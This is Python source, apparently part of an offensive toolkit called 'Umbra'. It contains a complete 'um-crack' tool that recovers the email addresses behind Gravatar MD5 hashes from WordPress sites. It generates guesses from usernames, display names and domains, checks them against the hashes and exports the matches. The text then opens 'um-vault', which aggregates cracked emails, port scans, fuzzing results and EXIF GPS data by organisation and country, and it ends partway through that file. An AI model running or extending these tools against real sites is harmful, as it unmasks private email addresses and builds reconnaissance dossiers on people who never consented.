# ─── Database ─────────────────────────────────────────────────────────────────
def init_db(path="um-crack.db"):
conn = sqlite3.connect(path, check_same_thread=False)
conn.row_factory = sqlite3.Row
conn.execute("PRAGMA journal_mode=WAL")
conn.execute("PRAGMA busy_timeout=5000")
conn.execute("""
CREATE TABLE IF NOT EXISTS hashes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
hash TEXT UNIQUE NOT NULL,
domain TEXT DEFAULT '',
username TEXT DEFAULT '',
display_name TEXT DEFAULT '',
user_id INTEGER DEFAULT 0,
cracked_email TEXT DEFAULT '',
crack_method TEXT DEFAULT '',
crack_time_ms INTEGER DEFAULT 0,
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
cracked_at DATETIME
)
""")
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)")
conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)")
conn.commit()
return conn
def import_from_hash_db(conn, hash_db_path):
"""Import hashes from a um-hash.db database."""
if not os.path.exists(hash_db_path):
return 0
src = sqlite3.connect(hash_db_path)
src.row_factory = sqlite3.Row
rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall()
count = 0
for r in rows:
try:
conn.execute("""
INSERT INTO hashes (hash, domain, username, display_name, user_id)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(hash) DO UPDATE SET
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END
""", (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"]))
count += 1
except Exception:
pass
conn.commit()
src.close()
return count
def import_hashes_from_file(conn, filepath):
"""Import raw hashes from a text file (one hash per line)."""
count = 0
with open(filepath) as f:
for line in f:
h = line.strip().lower()
if re.match(r'^[a-f0-9]{32}$', h):
try:
conn.execute(
"INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,))
count += 1
except Exception:
pass
conn.commit()
return count
# ─── Email Candidate Generation ──────────────────────────────────────────────
def normalize_name(name):
"""Normalize a display name for email generation."""
name = name.lower().strip()
name = re.sub(r'[^\w\s.-]', '', name)
return name
def generate_username_variants(username):
"""Generate email local-part variants from a username."""
if not username:
return []
u = username.lower().strip()
variants = [u]
# Common separators
if "_" in u:
variants.append(u.replace("_", "."))
variants.append(u.replace("_", ""))
variants.append(u.replace("_", "-"))
if "." in u:
variants.append(u.replace(".", "_"))
variants.append(u.replace(".", ""))
variants.append(u.replace(".", "-"))
if "-" in u:
variants.append(u.replace("-", "."))
variants.append(u.replace("-", "_"))
variants.append(u.replace("-", ""))
return list(set(variants))
def generate_name_variants(display_name):
"""Generate email local-part variants from a display name."""
if not display_name:
return []
name = normalize_name(display_name)
parts = name.split()
if not parts:
return []
variants = set()
if len(parts) == 1:
w = parts[0]
variants.add(w)
return list(variants)
first = parts[0]
last = parts[-1]
middle = parts[1:-1] if len(parts) > 2 else []
# Basic combinations
variants.add(f"{first}{last}")
variants.add(f"{first}.{last}")
variants.add(f"{first}_{last}")
variants.add(f"{first}-{last}")
variants.add(f"{last}{first}")
variants.add(f"{last}.{first}")
variants.add(f"{last}_{first}")
variants.add(f"{last}-{first}")
# Initials
variants.add(f"{first[0]}{last}")
variants.add(f"{first[0]}.{last}")
variants.add(f"{first[0]}_{last}")
variants.add(f"{first}{last[0]}")
variants.add(f"{first}.{last[0]}")
variants.add(f"{first[0]}{last[0]}")
# First name only, last name only
variants.add(first)
variants.add(last)
# With middle initial
if middle:
mi = middle[0][0]
variants.add(f"{first}{mi}{last}")
variants.add(f"{first}.{mi}.{last}")
variants.add(f"{first}{mi}.{last}")
variants.add(f"{first[0]}{mi}{last}")
# Number suffixes (common patterns)
for base in [f"{first}{last}", f"{first}.{last}", first, last]:
for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77",
"88", "99", "00", "01", "07", "11", "123", "321",
"007", "666", "777", "888", "999"]:
variants.add(f"{base}{suffix}")
# Year suffixes
for base in [f"{first}{last}", f"{first}.{last}"]:
for year in range(60, 100):
variants.add(f"{base}{year}")
for year in range(0, 10):
variants.add(f"{base}0{year}")
return list(variants)
def generate_domain_variants(domain):
"""Generate email local-parts from the website domain."""
if not domain:
return []
variants = set()
# Strip TLD
parts = domain.split(".")
if len(parts) >= 2:
name = parts[0] # e.g., "example" from "example.com"
variants.add(name)
variants.add(f"admin")
variants.add(f"info")
variants.add(f"contact")
variants.add(f"support")
variants.add(f"hello")
variants.add(f"press")
variants.add(f"media")
variants.add(f"editor")
variants.add(f"news")
variants.add(f"team")
variants.add(f"webmaster")
variants.add(f"postmaster")
return list(variants)
# ─── Cracking Engine ─────────────────────────────────────────────────────────
class Cracker:
def __init__(self, conn, providers=None, custom_wordlist=None):
self.conn = conn
self.providers = providers or ALL_PROVIDERS
self.custom_wordlist = custom_wordlist or []
self.console = Console()
# Stats
self.total_hashes = 0
self.uncracked = 0
self.cracked = 0
self.candidates_tested = 0
self.start_time = 0
self.newly_cracked = []
def load_hashes(self):
"""Load all uncracked hashes into a lookup dict."""
rows = self.conn.execute(
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''"
).fetchall()
return {r["hash"]: dict(r) for r in rows}
def check_candidate(self, email, hash_lookup):
"""Check if an email's MD5 matches any hash."""
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
if h in hash_lookup:
return h, email
return None, None
def crack(self, region_focus=None, use_custom_only=False):
"""Run the cracking engine."""
self.start_time = time.monotonic()
hash_lookup = self.load_hashes()
self.total_hashes = len(hash_lookup) + self.conn.execute(
"SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
self.uncracked = len(hash_lookup)
self.cracked = 0
self.candidates_tested = 0
self.newly_cracked = []
if not hash_lookup:
self.console.print("[dim]No uncracked hashes to process.[/]")
return
# Select provider list
if use_custom_only:
providers = []
elif region_focus and region_focus in REGIONAL_PROVIDERS:
providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus]
else:
providers = self.providers
# Build candidate generators per hash
self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]")
self.console.print(f"[green]Using {len(providers)} email providers[/]")
if self.custom_wordlist:
self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]")
with Progress(
SpinnerColumn(),
TextColumn("[bold green]{task.description}"),
BarColumn(bar_width=40),
TextColumn("[cyan]{task.fields[stats]}"),
TimeElapsedColumn(),
console=self.console,
) as progress:
task_id = progress.add_task("Cracking", total=None, stats="")
# Phase 1: Username + provider combinations
for h, info in list(hash_lookup.items()):
username_variants = generate_username_variants(info.get("username", ""))
name_variants = generate_name_variants(info.get("display_name", ""))
domain_variants = generate_domain_variants(info.get("domain", ""))
all_local_parts = set(username_variants + name_variants + domain_variants)
# Also add custom wordlist entries
if self.custom_wordlist:
all_local_parts.update(self.custom_wordlist)
for local_part in all_local_parts:
if not local_part:
continue
# Try domain as email domain first (site-specific emails)
site_domain = info.get("domain", "")
if site_domain:
email = f"{local_part}@{site_domain}"
self.candidates_tested += 1
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
if matched_hash:
self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup)
continue
# Try all providers
for provider in providers:
email = f"{local_part}@{provider}"
self.candidates_tested += 1
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
if matched_hash:
self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup)
break
# Update progress periodically
if self.candidates_tested % 10000 == 0:
elapsed = time.monotonic() - self.start_time
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
progress.update(task_id,
stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
# Phase 2: Custom wordlist as full emails
if self.custom_wordlist:
for word in self.custom_wordlist:
if "@" in word:
self.candidates_tested += 1
matched_hash, matched_email = self.check_candidate(word, hash_lookup)
if matched_hash:
self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup)
# Phase 3: Common standalone patterns
common_names = [
"admin", "info", "contact", "support", "test", "user",
"demo", "guest", "root", "mail", "email", "office",
"help", "sales", "service", "webmaster", "postmaster",
"noreply", "no-reply", "newsletter", "feedback",
]
for name in common_names:
for provider in MAJOR_PROVIDERS[:10]:
email = f"{name}@{provider}"
self.candidates_tested += 1
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
if matched_hash:
self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup)
elapsed = time.monotonic() - self.start_time
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
progress.update(task_id, completed=True,
stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
def _record_crack(self, hash_val, email, method, hash_lookup):
"""Record a cracked hash."""
elapsed_ms = int((time.monotonic() - self.start_time) * 1000)
self.conn.execute("""
UPDATE hashes SET cracked_email = ?, crack_method = ?,
crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP
WHERE hash = ?
""", (email, method, elapsed_ms, hash_val))
self.conn.commit()
info = hash_lookup.pop(hash_val, {})
self.cracked += 1
self.uncracked -= 1
self.newly_cracked.append({
"hash": hash_val,
"email": email,
"method": method,
"username": info.get("username", ""),
"domain": info.get("domain", ""),
})
self.console.print(
f" [bold green]CRACKED[/] {email} "
f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]"
)
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
console = Console()
MENU_ITEMS = [
("1", "Load hashes (.db / .txt)"),
("2", "Add custom wordlist"),
("3", "Start cracking"),
("4", "View cracked"),
("5", "View uncracked"),
("6", "Export CSV"),
("7", "Statistics"),
("8", "Verify email"),
("9", "Hash an email"),
("Q", "Quit"),
]
CRACK_INFO = [
f"{len(ALL_PROVIDERS)} email providers",
"Pattern-based email recovery",
"Cultural naming patterns",
"Region-focused cracking",
"Custom wordlist support",
"Local computation only",
]
def get_db_stats(conn):
try:
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}"
except Exception:
return "DB: empty"
def show_results(conn, limit=50):
rows = conn.execute("""
SELECT hash, domain, username, display_name, cracked_email, crack_method
FROM hashes WHERE cracked_email != ''
ORDER BY cracked_at DESC LIMIT ?
""", (limit,)).fetchall()
table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
table.add_column("Hash", style="cyan", width=18)
table.add_column("Email", style="bold green", max_width=35)
table.add_column("Username", style="white", max_width=15)
table.add_column("Domain", style="dim", max_width=20)
table.add_column("Method", style="yellow", width=16)
for r in rows:
table.add_row(
r["hash"][:16] + "...",
r["cracked_email"],
r["username"] or "-",
r["domain"] or "-",
r["crack_method"] or "-"
)
console.print(table)
def show_uncracked(conn, limit=30):
rows = conn.execute("""
SELECT hash, domain, username, display_name
FROM hashes WHERE cracked_email = ''
ORDER BY domain, username LIMIT ?
""", (limit,)).fetchall()
table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]")
table.add_column("Hash", style="cyan", width=34)
table.add_column("Domain", style="white", max_width=25)
table.add_column("Username", style="dim", max_width=20)
table.add_column("Display Name", style="dim", max_width=20)
for r in rows:
table.add_row(r["hash"], r["domain"] or "-",
r["username"] or "-", r["display_name"] or "-")
console.print(table)
def show_stats(conn):
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
uncracked = total - cracked
unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0]
# Top cracked providers
top_providers = conn.execute("""
SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider,
COUNT(*) as cnt
FROM hashes WHERE cracked_email != ''
GROUP BY provider ORDER BY cnt DESC LIMIT 10
""").fetchall()
# Top crack methods
top_methods = conn.execute("""
SELECT crack_method, COUNT(*) as cnt
FROM hashes WHERE cracked_email != ''
GROUP BY crack_method ORDER BY cnt DESC
""").fetchall()
table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
table.add_column("Metric", style="bold")
table.add_column("Value", justify="right", style="cyan")
table.add_row("Total Hashes", str(total))
table.add_row("Cracked", f"[bold green]{cracked}[/]")
table.add_row("Uncracked", f"[yellow]{uncracked}[/]")
table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%")
table.add_row("Source Domains", str(unique_domains))
table.add_row("Email Providers", str(len(ALL_PROVIDERS)))
console.print(table)
if top_providers:
prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]")
prov_table.add_column("Provider", style="green")
prov_table.add_column("Count", justify="right", style="cyan")
for p in top_providers:
prov_table.add_row(p["provider"], str(p["cnt"]))
console.print(prov_table)
if top_methods:
meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]")
meth_table.add_column("Method", style="yellow")
meth_table.add_column("Count", justify="right", style="cyan")
for m in top_methods:
meth_table.add_row(m["crack_method"], str(m["cnt"]))
console.print(meth_table)
def export_csv_fn(conn, output="um-crack-export.csv"):
cursor = conn.execute("""
SELECT hash, domain, username, display_name, cracked_email,
crack_method, crack_time_ms, cracked_at
FROM hashes WHERE cracked_email != ''
ORDER BY domain, cracked_email
""")
rows = cursor.fetchall()
cols = [d[0] for d in cursor.description]
with open(output, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(cols)
for r in rows:
writer.writerow(list(r))
console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]")
def export_all_csv(conn, output="um-crack-all.csv"):
cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash")
rows = cursor.fetchall()
cols = [d[0] for d in cursor.description]
with open(output, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(cols)
for r in rows:
writer.writerow(list(r))
console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]")
def load_wordlist(path):
"""Load a custom wordlist for cracking."""
words = []
with open(path) as f:
for line in f:
word = line.strip()
if word and not word.startswith("#"):
words.append(word.lower())
return words
def merge_databases(db_paths, output="um-crack.db"):
conn = init_db(output)
for path in db_paths:
if not os.path.exists(path):
continue
src = sqlite3.connect(path)
src.row_factory = sqlite3.Row
for r in src.execute("SELECT * FROM hashes").fetchall():
try:
conn.execute("""
INSERT INTO hashes (hash, domain, username, display_name, user_id,
cracked_email, crack_method, crack_time_ms, cracked_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(hash) DO UPDATE SET
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END,
cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END,
crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END,
cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END
""", (r["hash"], r["domain"], r["username"], r["display_name"],
r["user_id"], r["cracked_email"], r["crack_method"],
r["crack_time_ms"], r["cracked_at"]))
except Exception:
pass
src.close()
console.print(f"[dim]Merged: {path}[/dim]")
conn.commit()
return conn
# ─── CLI ──────────────────────────────────────────────────────────────────────
@click.group(invoke_without_command=True)
@click.option("--db", default="um-crack.db", help="Database file path")
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets")
@click.pass_context
def cli(ctx, db, engagement, scope_file):
"""Umbra Hash Cracker — Pattern-based email recovery from Gravatar hashes."""
ctx.ensure_object(dict)
# Env var fallback
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "")
scope = []
if engagement:
create_engagement(engagement)
db = get_engagement_db_path(engagement, TOOL_NAME)
if scope_file:
scope = load_scope(scope_file)
ctx.obj["db"] = db
ctx.obj["engagement"] = engagement
ctx.obj["scope"] = scope
# Ops hook
hook = get_ops_hook(TOOL_NAME, engagement)
ctx.obj["hook"] = hook
if hook:
hook.register()
if ctx.invoked_subcommand is None:
interactive_menu(ctx)
@cli.command("load")
@click.argument("source")
@click.pass_context
def load_cmd(ctx, source):
"""Load hashes from a um-hash.db or text file."""
conn = init_db(ctx.obj["db"])
if source.endswith(".db"):
count = import_from_hash_db(conn, source)
console.print(f"[green]Imported {count} hashes from {source}[/]")
else:
count = import_hashes_from_file(conn, source)
console.print(f"[green]Imported {count} hashes from {source}[/]")
show_stats(conn)
conn.close()
@cli.command()
@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)")
@click.option("--wordlist", default=None, help="Custom wordlist file")
@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try")
@click.pass_context
def crack(ctx, region, wordlist, providers_only):
"""Start cracking loaded hashes."""
conn = init_db(ctx.obj["db"])
custom_words = load_wordlist(wordlist) if wordlist else []
providers = None
if providers_only:
providers = [p.strip() for p in providers_only.split(",")]
cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words)
cracker.crack(region_focus=region)
console.print()
if cracker.newly_cracked:
console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]")
show_stats(conn)
conn.close()
@cli.command()
@click.pass_context
def results(ctx):
"""Show cracked hashes."""
conn = init_db(ctx.obj["db"])
show_results(conn, limit=100)
show_stats(conn)
conn.close()
@cli.command()
@click.pass_context
def uncracked(ctx):
"""Show uncracked hashes."""
conn = init_db(ctx.obj["db"])
show_uncracked(conn, limit=100)
conn.close()
@cli.command()
@click.option("-o", "--output", default="um-crack-export.csv")
@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)")
@click.pass_context
def export(ctx, output, export_all):
"""Export results to CSV."""
conn = init_db(ctx.obj["db"])
if export_all:
export_all_csv(conn, output)
else:
export_csv_fn(conn, output)
conn.close()
@cli.command()
@click.pass_context
def stats(ctx):
"""Show database statistics."""
conn = init_db(ctx.obj["db"])
show_stats(conn)
conn.close()
@cli.command()
@click.argument("directory")
@click.option("-o", "--output", default="um-crack.db")
@click.pass_context
def merge(ctx, directory, output):
"""Merge multiple .db files."""
import glob
db_paths = glob.glob(os.path.join(directory, "*.db"))
if not db_paths:
console.print(f"[red]No .db files found in {directory}[/]")
return
conn = merge_databases(db_paths, output)
show_stats(conn)
conn.close()
@cli.command()
@click.argument("email")
@click.pass_context
def verify(ctx, email):
"""Verify an email against loaded hashes."""
conn = init_db(ctx.obj["db"])
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
if row:
console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}")
console.print(f" Domain: {row['domain'] or '-'}")
console.print(f" Username: {row['username'] or '-'}")
console.print(f" Display Name: {row['display_name'] or '-'}")
# Update if not already cracked
if not row["cracked_email"]:
conn.execute("""
UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify',
cracked_at = CURRENT_TIMESTAMP
WHERE hash = ?
""", (email, h))
conn.commit()
console.print("[green]Recorded as cracked.[/]")
else:
console.print(f"[dim]No match. Hash {h} not in database.[/]")
conn.close()
@cli.command("hash-email")
@click.argument("email")
def hash_email(email):
"""Show the MD5 hash of an email address."""
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
console.print(f"[cyan]{email}[/] → [green]{h}[/]")
# ─── Interactive Menu ─────────────────────────────────────────────────────────
def interactive_menu(ctx):
conn = init_db(ctx.obj["db"])
custom_wordlist = []
def action_handler(key, tui):
nonlocal custom_wordlist
if key == "1":
def on_source(source):
if not os.path.exists(source):
tui.log(f"[!] File not found: {source}")
return
if source.endswith(".db"):
count = import_from_hash_db(conn, source)
else:
count = import_hashes_from_file(conn, source)
tui.log(f"[+] Imported {count} hashes from {source}")
tui.prompt("Path to .db or .txt file", on_source)
elif key == "2":
def on_path(wl_path):
nonlocal custom_wordlist
if os.path.exists(wl_path):
custom_wordlist = load_wordlist(wl_path)
tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}")
else:
tui.log(f"[!] File not found: {wl_path}")
tui.prompt("Wordlist file path", on_path)
elif key == "3":
def on_region(region):
if region == "all":
region_val = None
else:
region_val = region
tui.log("[*] Starting crack session...")
cracker = Cracker(conn, custom_wordlist=custom_wordlist)
original_record = cracker._record_crack
def patched_record(hash_val, email, method, hash_lookup):
original_record(hash_val, email, method, hash_lookup)
tui.log(f"[+] CRACKED: {email} ({method})")
cracker._record_crack = patched_record
def do_crack():
cracker.crack(region_focus=region_val)
if cracker.newly_cracked:
tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks")
else:
tui.log("[-] Session complete: no new cracks")
tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates")
tui.run_threaded(do_crack, status="Cracking...")
tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all")
elif key == "4":
rows = conn.execute(
"SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50"
).fetchall()
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
t.add_column("Hash", style="dim", max_width=16)
t.add_column("Domain", style="cyan")
t.add_column("User", style="green")
t.add_column("Email", style="bold green")
t.add_column("Method", style="yellow")
for r in rows:
t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"])
tui.show_table(t)
elif key == "5":
rows = conn.execute(
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50"
).fetchall()
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]")
t.add_column("Hash", style="dim", max_width=16)
t.add_column("Domain", style="cyan")
t.add_column("User", style="green")
t.add_column("Display Name")
for r in rows:
t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"])
tui.show_table(t)
elif key == "6":
def on_file(output_file):
export_csv_fn(conn, output_file)
tui.log(f"[+] Exported to {output_file}")
tui.prompt("Output file", on_file, default="um-crack-export.csv")
elif key == "7":
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
uncracked = total - cracked
t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
t.add_column("Metric", style="bold")
t.add_column("Value", justify="right", style="cyan")
t.add_row("Total Hashes", f"{total:,}")
t.add_row("Cracked", f"[green]{cracked:,}[/]")
t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]")
if total > 0:
t.add_row("Crack Rate", f"{cracked/total*100:.1f}%")
tui.show_table(t)
elif key == "8":
def on_email(email):
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
if row:
tui.log(f"[+] MATCH: {email} -> {h}")
if not row["cracked_email"]:
conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?",
(email, h))
conn.commit()
tui.log(" Recorded as cracked.")
else:
tui.log(f"[-] No match for {email} (hash: {h})")
tui.prompt("Email to verify", on_email)
elif key == "9":
def on_email(email):
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
tui.log(f"[*] {email} -> {h}")
tui.prompt("Email", on_email)
tui = UmbraTUI(
tool_name=TOOL_NAME,
version=VERSION,
menu_items=MENU_ITEMS,
info_items=CRACK_INFO,
action_handler=action_handler,
stats_fn=lambda: get_db_stats(conn),
theme=THEME_COLOR,
engagement=ctx.obj.get("engagement"),
)
tui.run()
conn.close()
if __name__ == "__main__":
cli()
+920
View File
@@ -0,0 +1,920 @@
#!/usr/bin/env python3
"""um-vault.py — Umbra Master Database Aggregator
10-table relational schema (countries→orgs→domains→hashes→cracked).
Imports from um-hash + um-crack databases, statistics dashboard.
"""
import csv
import glob
import json
import os
import sqlite3
import sys
import time
from datetime import datetime
import click
from rich.console import Console
from rich.table import Table
from rich import box
# ─── Version ──────────────────────────────────────────────────────────────────
VERSION = "1.0.0"
TOOL_NAME = "um-vault"
THEME_COLOR = "bright_white"
BANNER = r"""
_ _ __ __ ____ _____ __ __ _ _ _ _______
| | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __|
| | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | |
| | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | |
| |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| |
\____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_|
"""
# ─── Database Schema (10 tables) ─────────────────────────────────────────────
def init_db(path="um-vault.db"):
conn = sqlite3.connect(path, check_same_thread=False)
conn.row_factory = sqlite3.Row
conn.execute("PRAGMA journal_mode=WAL")
conn.execute("PRAGMA busy_timeout=5000")
conn.execute("PRAGMA foreign_keys=ON")
# 1. Countries
conn.execute("""
CREATE TABLE IF NOT EXISTS countries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
code TEXT UNIQUE NOT NULL,
name TEXT DEFAULT '',
region TEXT DEFAULT '',
total_orgs INTEGER DEFAULT 0,
total_domains INTEGER DEFAULT 0
)
""")
# 2. Organizations
conn.execute("""
CREATE TABLE IF NOT EXISTS organizations (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT UNIQUE NOT NULL,
country_code TEXT DEFAULT '',
industry TEXT DEFAULT '',
total_domains INTEGER DEFAULT 0,
total_hashes INTEGER DEFAULT 0,
total_cracked INTEGER DEFAULT 0,
FOREIGN KEY (country_code) REFERENCES countries(code)
)
""")
# 3. Domains
conn.execute("""
CREATE TABLE IF NOT EXISTS domains (
id INTEGER PRIMARY KEY AUTOINCREMENT,
domain TEXT UNIQUE NOT NULL,
org_id INTEGER DEFAULT 0,
is_wordpress INTEGER DEFAULT 0,
wp_version TEXT DEFAULT '',
detection_methods TEXT DEFAULT '',
total_hashes INTEGER DEFAULT 0,
total_cracked INTEGER DEFAULT 0,
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
last_seen DATETIME,
FOREIGN KEY (org_id) REFERENCES organizations(id)
)
""")
# 4. Hashes
conn.execute("""
CREATE TABLE IF NOT EXISTS hashes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
hash TEXT UNIQUE NOT NULL,
domain_id INTEGER DEFAULT 0,
domain TEXT DEFAULT '',
username TEXT DEFAULT '',
display_name TEXT DEFAULT '',
user_id INTEGER DEFAULT 0,
avatar_url TEXT DEFAULT '',
cracked_email TEXT DEFAULT '',
crack_method TEXT DEFAULT '',
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
cracked_at DATETIME,
FOREIGN KEY (domain_id) REFERENCES domains(id)
)
""")
# 5. Ports (from um-scan)
conn.execute("""
CREATE TABLE IF NOT EXISTS ports (
id INTEGER PRIMARY KEY AUTOINCREMENT,
host TEXT NOT NULL,
port INTEGER NOT NULL,
state TEXT DEFAULT 'open',
service TEXT DEFAULT '',
banner TEXT DEFAULT '',
response_ms INTEGER DEFAULT 0,
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
UNIQUE(host, port)
)
""")
# 6. Intel findings (from um-intel)
conn.execute("""
CREATE TABLE IF NOT EXISTS intel (
id INTEGER PRIMARY KEY AUTOINCREMENT,
target TEXT NOT NULL,
source TEXT NOT NULL,
finding_type TEXT NOT NULL,
value TEXT NOT NULL,
extra TEXT DEFAULT '{}',
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
UNIQUE(target, source, finding_type, value)
)
""")
# 7. API endpoints (from um-api)
conn.execute("""
CREATE TABLE IF NOT EXISTS api_endpoints (
id INTEGER PRIMARY KEY AUTOINCREMENT,
target TEXT NOT NULL,
url TEXT NOT NULL,
path TEXT DEFAULT '',
discovery_method TEXT NOT NULL,
status_code INTEGER DEFAULT 0,
description TEXT DEFAULT '',
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
UNIQUE(target, url, discovery_method)
)
""")
# 8. Fuzz results (from um-fuzz)
conn.execute("""
CREATE TABLE IF NOT EXISTS fuzz_results (
id INTEGER PRIMARY KEY AUTOINCREMENT,
base_url TEXT NOT NULL,
path TEXT NOT NULL,
status_code INTEGER NOT NULL,
content_length INTEGER DEFAULT 0,
content_type TEXT DEFAULT '',
redirect_url TEXT DEFAULT '',
first_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
UNIQUE(base_url, path)
)
""")
# 9. EXIF data (from um-exif)
conn.execute("""
CREATE TABLE IF NOT EXISTS exif_data (
id INTEGER PRIMARY KEY AUTOINCREMENT,
file_path TEXT UNIQUE NOT NULL,
file_name TEXT DEFAULT '',
camera_make TEXT DEFAULT '',
camera_model TEXT DEFAULT '',
datetime_original TEXT DEFAULT '',
gps_coords TEXT DEFAULT '',
artist TEXT DEFAULT '',
copyright TEXT DEFAULT ''
)
""")
